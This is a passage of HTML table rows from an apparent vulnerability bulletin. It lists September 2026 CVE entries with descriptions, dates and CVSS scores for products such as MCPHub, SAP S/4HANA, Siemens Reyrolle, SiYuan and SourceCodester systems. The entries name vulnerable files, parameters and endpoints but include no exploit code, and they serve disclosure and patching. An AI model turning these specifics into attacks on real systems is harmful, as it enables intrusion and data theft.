&lt;td&gt;MCPHub before 1.0.32 contains an authentication bypass vulnerability in its embedded OAuth 2.0 authorization server where client authentication is disabled by default and PKCE enforcement is optional. Attackers who obtain an authorization code through interception can redeem it for access tokens without providing a client secret or PKCE verifier, gaining access to victim accounts and their privileges.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90474&quot; target=&quot;_blank&quot;&gt;CVE-2026-90474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung Opensource--Escargot&lt;/td&gt;
&lt;td&gt;An out-of-bounds write caused by numeric truncation Samsung Open Source Escargot on Linux x86-64 allows an attacker who can supply JavaScript for execution to corrupt native memory and crash the host process via a crafted class definition whose instance initialization entry count exceeds UINT16_MAX. This issue affects Escargot: 5dc93606abd42b859045add05d704a038e197359.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86315&quot; target=&quot;_blank&quot;&gt;CVE-2026-86315&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung Opensource--Walrus&lt;/td&gt;
&lt;td&gt;Integer overflow in the source-bounds check in Memory::init() (src/runtime/Memory.cpp) in Samsung walrus on all platforms allows a remote attacker to cause an out-of-bounds heap read and denial of service via a crafted WebAssembly module in which a 32-bit unsigned addition wraps around and bypasses the bounds check. This issue affects Walrus: ff3bf5ff5c4878f8e5572c9593d303f6bc997443.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86314&quot; target=&quot;_blank&quot;&gt;CVE-2026-86314&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Samsung--Exynos 8890 firmware&lt;/td&gt;
&lt;td&gt;An issue was discovered in the buffer queue driver in Samsung Automotive Processor Exynos Auto 8890, V7, V9, and V920. Lack of a length check leads to a Denial of Service in the kernel.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-53922&quot; target=&quot;_blank&quot;&gt;CVE-2024-53922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sanjevirau--gsubs&lt;/td&gt;
&lt;td&gt;A weakness has been identified in sanjevirau gsubs up to 1.0.3. Impacted is the function showQuerySuccessPage of the file renderer/index.js of the component Electron. Executing a manipulation of the argument filename can lead to code injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90491&quot; target=&quot;_blank&quot;&gt;CVE-2026-90491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP Manufacturing Integration and Intelligence&lt;/td&gt;
&lt;td&gt;Due to a Server-Side Request Forgery (SSRF) vulnerability in SAP Manufacturing Integration and Intelligence, an attacker could cause the server to initiate arbitrary outbound requests. If processed by the application, this behavior could be combined with XML/XSL processing to enable execution of scripts. Successful exploitation could result in a low impact on the confidentiality, integrity, and availability of the application.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76971&quot; target=&quot;_blank&quot;&gt;CVE-2026-76971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP NetWeaver and ABAP Platform&lt;/td&gt;
&lt;td&gt;Due to a missing authorization check in Application Server ABAP of SAP NetWeaver and ABAP Platform, an authenticated attacker could gain unauthorized access to sensitive system configuration information. Successful exploitation could result in exposure of security relevant settings and internal system details, resulting in low impact on confidentiality while integrity and availability remain unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76963&quot; target=&quot;_blank&quot;&gt;CVE-2026-76963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP S/4HANA (Finance for Advanced Payment Management)&lt;/td&gt;
&lt;td&gt;SAP S/4HANA Finance (Advanced Payment Management) does not perform sufficient Cross-Site Request Forgery protection on certain requests due to this an attacker with low privileges could craft a malicious link or page. If an authenticated victim interacts with it, unintended actions could be triggered on the web server on their behalf. This results in a low impact on confidentiality and integrity. There is no impact on availability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76959&quot; target=&quot;_blank&quot;&gt;CVE-2026-76959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP S/4HANA (Intercompany Matching and Reconciliation)&lt;/td&gt;
&lt;td&gt;SAP S/4HANA (Intercompany Matching and Reconciliation) allows a low-privileged authenticated user to inject malicious input into certain functions, which may be processed by the database without proper validation. This could allow the user to access sensitive information, resulting in high impact on confidentiality, with no impact on integrity and availability of the application.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44766&quot; target=&quot;_blank&quot;&gt;CVE-2026-44766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP S/4HANA (Manage Bank Chains app)&lt;/td&gt;
&lt;td&gt;SAP S/4HANA (Manage Bank Chains app) does not perform sufficient authorization checks within certain affected functionality. An attacker with low privileges could send specially crafted requests to delete specific entries that should not be accessible to them. This results in a low impact on availability. There is no impact on confidentiality and integrity.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76962&quot; target=&quot;_blank&quot;&gt;CVE-2026-76962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAP Web Dispatcher, Internet Communication Manager and SAP Content Server&lt;/td&gt;
&lt;td&gt;SAP Web Dispatcher, Internet Communication Manager and SAP Content Server allows an authenticated low-privileged attacker to access certain administrative functionality or interface and obtain sensitive information about the system state, resulting in information disclosure. This disclosed information could potentially be used to facilitate further attacks. This vulnerability has a high impact on the confidentiality of the application, with no impact on integrity or availability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76968&quot; target=&quot;_blank&quot;&gt;CVE-2026-76968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAP_SE--SAPUI5(Frame Options Allowlist)&lt;/td&gt;
&lt;td&gt;SAP UI5 does not sufficiently validate the parent frame&#039;s origin against the configured allowlist. An unauthenticated attacker could host a malicious page to bypass framing restrictions. If an authenticated victim visits the attacker&#039;s page and interacts with it, the attacker could trick the victim into performing unintended actions, resulting in a low impact on integrity. There is no impact on confidentiality and availability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76977&quot; target=&quot;_blank&quot;&gt;CVE-2026-76977&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Saturday Drive--Ninja Forms - Scheduled Exports&lt;/td&gt;
&lt;td&gt;The Ninja Forms - Scheduled Exports plugin for WordPress is vulnerable to Stored Cross-Site Scripting via REST API Parameters (interval, format, emailTo) in all versions up to, and including, 3.0.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level privileges and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The REST endpoint is registered without a permission_callback and only validates a nonce without checking user capabilities.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87870&quot; target=&quot;_blank&quot;&gt;CVE-2026-87870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;seakee--CPA-Manager-Plus&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in seakee CPA-Manager-Plus up to 1.11.10. This vulnerability affects the function CPAResource of the file apps/manager-server/internal/http/controller/proxy/handler.go of the component HTTP Handler. The manipulation leads to improper authorization. It is possible to initiate the attack remotely. Upgrading to version 1.11.11 is able to resolve this issue. The identifier of the patch is 842eec791377ddcbea5cd639bc065eaa4801d656. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86804&quot; target=&quot;_blank&quot;&gt;CVE-2026-86804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--hosp_order&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in sfturing hosp_order up to 627f426331da8086ce8fff2017d65b1ddef384f8. The affected element is the function modifyPassWord of the file ssm_pro/src/main/java/cn/sfturing/web/CommonUserController.java of the component Password Recovery. Performing a manipulation results in unverified password change. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86260&quot; target=&quot;_blank&quot;&gt;CVE-2026-86260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sfturing--ssm_pro&lt;/td&gt;
&lt;td&gt;A flaw has been found in sfturing ssm_pro up to 627f426331da8086ce8fff2017d65b1ddef384f8. Affected is an unknown function of the file ssm_pro/src/main/java/cn/sfturing/web/OrderController.java of the component Order Endpoint. This manipulation of the argument hospitalName/officesName/doctorName causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86264&quot; target=&quot;_blank&quot;&gt;CVE-2026-86264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Reyrolle 7SR5&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Reyrolle 7SR5 (All versions &amp;lt; V2.70). The input received over a proprietary communication protocol that is exposed when the device is placed into a special firmware-update mode is not properly validated, resulting in a memory corruption condition. This could allow an unauthenticated attacker with physical access to the device to cause a crash and potentially execute arbitrary code on the device.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62653&quot; target=&quot;_blank&quot;&gt;CVE-2026-62653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Reyrolle 7SR5&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Reyrolle 7SR5 (All versions &amp;lt; V2.70). A special maintenance mode can be activated via a physical key sequence during device boot, in which the device downloads and executes program code from a network server without verifying its authenticity or integrity. This could allow an attacker with physical access to the device to upload and execute arbitrary, unsigned code.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62654&quot; target=&quot;_blank&quot;&gt;CVE-2026-62654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Reyrolle 7SR5&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Reyrolle 7SR5 (All versions &amp;lt; V2.70). The device firmware contains binaries from which debugging symbols have not been removed. This could allow an unauthenticated attacker with access to the publicly available firmware update files to more easily reverse engineer the device&#039;s firmware, facilitating the identification of further vulnerabilities.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62652&quot; target=&quot;_blank&quot;&gt;CVE-2026-62652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Teamcenter V2412&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Teamcenter V2412 (All versions &amp;lt; V2412.0013), Teamcenter V2506 (All versions &amp;lt; V2506.0010), Teamcenter V2512 (All versions &amp;lt; V2512.2607), Teamcenter V2606 (All versions &amp;lt; V2606.2607). Affected applications do not properly encode user-supplied input reflected into HTML attribute contexts within the authentication redirect flow (/auth/ endpoint). This could allow an unauthenticated remote attacker to inject arbitrary JavaScript into the browser of an authenticated user who loads a crafted URL, enabling the attacker to perform actions within the victim&#039;s Teamcenter session.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58113&quot; target=&quot;_blank&quot;&gt;CVE-2026-58113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;simalexan--api-lambda-send-email-ses&lt;/td&gt;
&lt;td&gt;A flaw has been found in simalexan api-lambda-send-email-ses up to bda6869aa81371d1e872242e74fe7d953edb818d. This issue affects the function SES.sendEmail of the file template.yml of the component API Gateway Endpoint. This manipulation of the argument toEmails/ccEmails/replyToEmails/subject/message causes missing authentication. It is possible to initiate the attack remotely. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90513&quot; target=&quot;_blank&quot;&gt;CVE-2026-90513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Simple CAPTCHA with Cloudflare Turnstile--Simple CAPTCHA with Cloudflare Turnstile&lt;/td&gt;
&lt;td&gt;The Simple CAPTCHA with Cloudflare Turnstile WordPress plugin from 1.2.2 before 1.42.3 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85116&quot; target=&quot;_blank&quot;&gt;CVE-2026-85116&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;Siyuan before v3.8.2 fails to apply publish-access filtering to embedded blocks before rendering in the /api/export/preview and /api/lute/copyStdMarkdown endpoints. Attackers with reader access can retrieve the full rendered content of private, hidden, or publish-disabled blocks by accessing public documents containing embed queries that select those blocks.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87809&quot; target=&quot;_blank&quot;&gt;CVE-2026-87809&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before v3.8.2 contains a stored cross-site scripting vulnerability in Bazaar package cards where the iconURL metadata is inserted directly into HTML img src attributes without escaping. Attackers can inject malicious URLs with event handlers that execute JavaScript in the authenticated SiYuan origin when users view Bazaar listings, enabling API requests and application state manipulation.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87812&quot; target=&quot;_blank&quot;&gt;CVE-2026-87812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;Siyuan before v3.8.2 contains an information disclosure vulnerability in the POST /api/search/fullTextSearchBlock endpoint that filters private blocks from results but returns unfiltered match counts. Unauthenticated publish-mode readers can submit arbitrary search terms to learn whether matching content exists in hidden or unpublished documents and determine the number of matching blocks and pages.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87810&quot; target=&quot;_blank&quot;&gt;CVE-2026-87810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions &amp;lt;= 3.8.1 contain an incomplete fix for CVE-2026-32767 (GHSA-j7wh-x834-p3r7). The prior fix (commit d5e2d0bc) added an administrator check for SQL mode (method=2) in POST /api/search/fullTextSearchBlock, but the endpoint still does not enforce the application&#039;s read-only boundary: for method=2 it forwards caller-supplied SQL to the blocks database query path without calling model.CheckReadonly or CheckReadonlyStatementInBox. As a result, when a workspace runs in read-only mode (--readonly=true), an authenticated administrator can submit arbitrary SQL through /api/search/fullTextSearchBlock and obtain raw read access to the blocks database, even though the dedicated /api/query/sql endpoint is blocked in that mode. Fixed in v3.8.2.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87808&quot; target=&quot;_blank&quot;&gt;CVE-2026-87808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Snowflake--Snowflake Connector for Python&lt;/td&gt;
&lt;td&gt;Insertion of sensitive information into log files in the Snowflake Python, Go, JDBC, Node.js, PHP PDO, and ODBC drivers allowed authentication tokens, query-result encryption keys, pre-signed cloud-storage URLs, and SAML assertions to be written to diagnostic logs in circumstances where the available log redaction did not cover all affected log paths and data types. An attacker with read access to the log destination, whether the local filesystem, a log aggregation service, or a CI/CD artifact store, could obtain credentials and decryption keys that, if still valid at the time of access, could be used to authenticate to the corresponding Snowflake account or cloud-storage object. Successful exploitation requires read access to the log destination, and impact is bounded by credential lifetime and object scope. The fix is available in Snowflake Connector for Python v4.7.3, Snowflake Go Driver v2.2.0, Snowflake JDBC Driver v4.3.4 (including the snowflake-jdbc-fips and snowflake-jdbc-thin), Snowflake Node.js Driver v3.3.0, Snowflake PHP PDO Driver v4.2.0, and Snowflake ODBC Driver v3.20.0. Users must manually upgrade and should securely delete previously generated diagnostic logs containing sensitive information where retention is not required.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86597&quot; target=&quot;_blank&quot;&gt;CVE-2026-86597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Softish--EarVision Android application&lt;/td&gt;
&lt;td&gt;The C6 ear camera transmits live video to the EarVision Android application over unencrypted UDP streams. The application manifest permits cleartext traffic, and captured network traffic contains reconstructable JPEG or WEBP video frames transmitted over UDP. An attacker within local wireless range may capture and reconstruct the live video stream without transport encryption.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81330&quot; target=&quot;_blank&quot;&gt;CVE-2026-81330&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Simple Traffic Offense System&lt;/td&gt;
&lt;td&gt;A flaw has been found in SourceCodester Simple Traffic Offense System 1.0. Affected by this vulnerability is an unknown functionality of the file delete-user.php of the component Deletion Endpoint. Executing a manipulation of the argument ID can lead to missing authentication. The attack may be launched remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86293&quot; target=&quot;_blank&quot;&gt;CVE-2026-86293&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Simple Traffic Offense System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SourceCodester Simple Traffic Offense System 1.0. Affected by this issue is some unknown functionality of the file save-settings.php of the component Settings Update Endpoint. The manipulation of the argument site_name/site_desc leads to cross site scripting. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86294&quot; target=&quot;_blank&quot;&gt;CVE-2026-86294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Syllabus-Aligned Learning Management &amp;amp; Examination System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in SourceCodester Syllabus-Aligned Learning Management &amp;amp; Examination System 1.0. The impacted element is an unknown function of the file auth_process.php of the component Login. This manipulation causes session fixiation. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86279&quot; target=&quot;_blank&quot;&gt;CVE-2026-86279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Syllabus-Aligned Learning Management &amp;amp; Examination System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in SourceCodester Syllabus-Aligned Learning Management &amp;amp; Examination System 1.0. This vulnerability affects the function register of the file auth.php. Performing a manipulation of the argument role results in improper privilege management. Remote exploitation of the attack is possible. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86275&quot; target=&quot;_blank&quot;&gt;CVE-2026-86275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Syllabus-Aligned Learning Management &amp;amp; Examination System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in SourceCodester Syllabus-Aligned Learning Management &amp;amp; Examination System 1.0. This affects an unknown function of the file cict_portal.sql. Such manipulation leads to cleartext storage of sensitive information. It is possible to launch the attack remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86280&quot; target=&quot;_blank&quot;&gt;CVE-2026-86280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Syllabus-Aligned Learning Management &amp;amp; Examination System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SourceCodester Syllabus-Aligned Learning Management &amp;amp; Examination System 1.0. The affected element is an unknown function of the file manage_subjects.php. The manipulation of the argument msg/title/content results in cross site scripting. The attack may be performed from remote. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86278&quot; target=&quot;_blank&quot;&gt;CVE-2026-86278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Syllabus-Aligned Learning Management &amp;amp; Examination System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in SourceCodester Syllabus-Aligned Learning Management &amp;amp; Examination System 1.0. This impacts an unknown function. Performing a manipulation results in cross-site request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86281&quot; target=&quot;_blank&quot;&gt;CVE-2026-86281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SpectoLabs--hoverfly&lt;/td&gt;
&lt;td&gt;Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50018&quot; target=&quot;_blank&quot;&gt;CVE-2026-50018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stbsp--stbsp&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in the stbsp_vsnprintf function (stb_sprintf.h) of nothings stb commit 31c1ad3 allows attackers to cause a Denial of Service (DoS) via sending a crafted input.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79516&quot; target=&quot;_blank&quot;&gt;CVE-2026-79516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stbtt--stbtt&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in the stbtt_GetGlyphShape component of nothings stb commit 31c1ad3 allows attackers to cause a Denial of Service (DoS) via sending a crafted TTF file.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79515&quot; target=&quot;_blank&quot;&gt;CVE-2026-79515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
